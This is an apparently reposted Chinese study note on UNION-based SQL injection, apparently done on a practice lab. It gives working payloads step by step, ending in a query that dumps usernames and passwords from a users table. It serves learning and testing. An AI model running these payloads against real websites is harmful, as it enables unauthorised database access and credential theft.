SQL注入學習筆記——聯合語句查詢


前提條件:

聯合查詢注入利用的前提是頁面上有顯示位。

顯示位:在一個在一個網站的正常頁面,服務端執行SQL語句查詢數據庫中的數據,客戶端將數 據展示在頁面中,這個展示數據的位置就叫顯示位。

注意:union可合並兩個或多個select語句的結果集, 前提是兩個select必有相同列、且各列的數據類型也相同。

聯合注入的過程:

1、判斷注入點

2、判斷是整型還是字符型

3、判斷查詢列數

4、判斷顯示位

5、獲取所有數據庫名

6、獲取數據庫所有表名

7、獲取字段名

8、獲取字段中的數據

一、判斷注入點

and 1=1 / and 1=2 回顯頁面不同(整形判斷) 

單引號判斷‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷) 

\ (轉義符) 

注:加號‘+’在URL中有特殊含義,因此在需要對其進行URL編碼為%2b。%20是空格的意思,在瀏覽器中注入回車后空格會自動轉化成%20。

二、判斷是整型還是字符型

輸入and 1=1和and 1=2后發現頁面沒有變化,判斷不是整型注入。

 

 

 

 

 

 

 輸入' and 1=1 和 ' and 1=2 后發現頁面變化,判斷為字符注入 。(%27是 ' 的意思)

 

 

 

 

 

在數據庫中 1=1 和1=2  后面隨便輸入字符串(相當於1=1和1=2后面的查詢語句),發現select 1="1dasd"時返回1正確,1="2dasd"時返回0錯誤,即select在查詢時忽略后面的字符串,只讓1和后面第一個數字對比,如果相等就是正確,不相等返回錯誤。

三、判斷查詢列數

order by 函數是對MySQL中查詢結果按照指定字段名進行排序,除了指定字 段名還可以指定字段的欄位進行排序,第一個查詢字段為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數

 輸入 order by 4--+  發現頁面錯誤,說明沒有4列

輸入 order by 3--+  發現頁面正確,說明有3列

 

 

 

 

 

 四、判斷顯示位

UNION的作用是將兩個select查詢結果合並,

程序在展示數據的時候通常只會取結果集的第一行數據,看一下源碼,mysql_fetch_array只被調用了一次,而mysql_fetch_array從結果集中取得一行作為關聯數組或數字數組或二者兼有,具體看第二個參數是什么。所以這里無論怎么折騰最后只會出來第一行的查詢結果。只要讓第一行查詢的結果是空集,即union左邊的select子句查詢結果為空,那么union右邊的查詢結果自然就成為了第一行,打印在網頁上了。

輸入?id=-1' 或者 1' and 1=2 后面跟上union select 1,2,3--+

可以看到將uid改為-1后第二行打印在頁面上。使union前面的語句報錯,執行后面的,爆出顯示位,2,3

 

 

 

 五、獲取所有數據庫名

group_concat()一次性顯示: 

select group_concat(schema_name) from information_schema.schemata

顯示當前數據庫: database()

 

 六、獲取表名

把上面語句中的 schema_name 改成查表名的語句 table_name,information_schema.schemata改成information_schema.tables,后面跟上在哪查的where table_schema='庫名'。

 

 七、獲列名

直接上payload了:select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

 

 八、獲取列中的信息

select group_concat(0x3a,username,password) from users 

 

 也可以用 concat_ws函數 limit 0,1 一條一條查,這里就不做演示了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM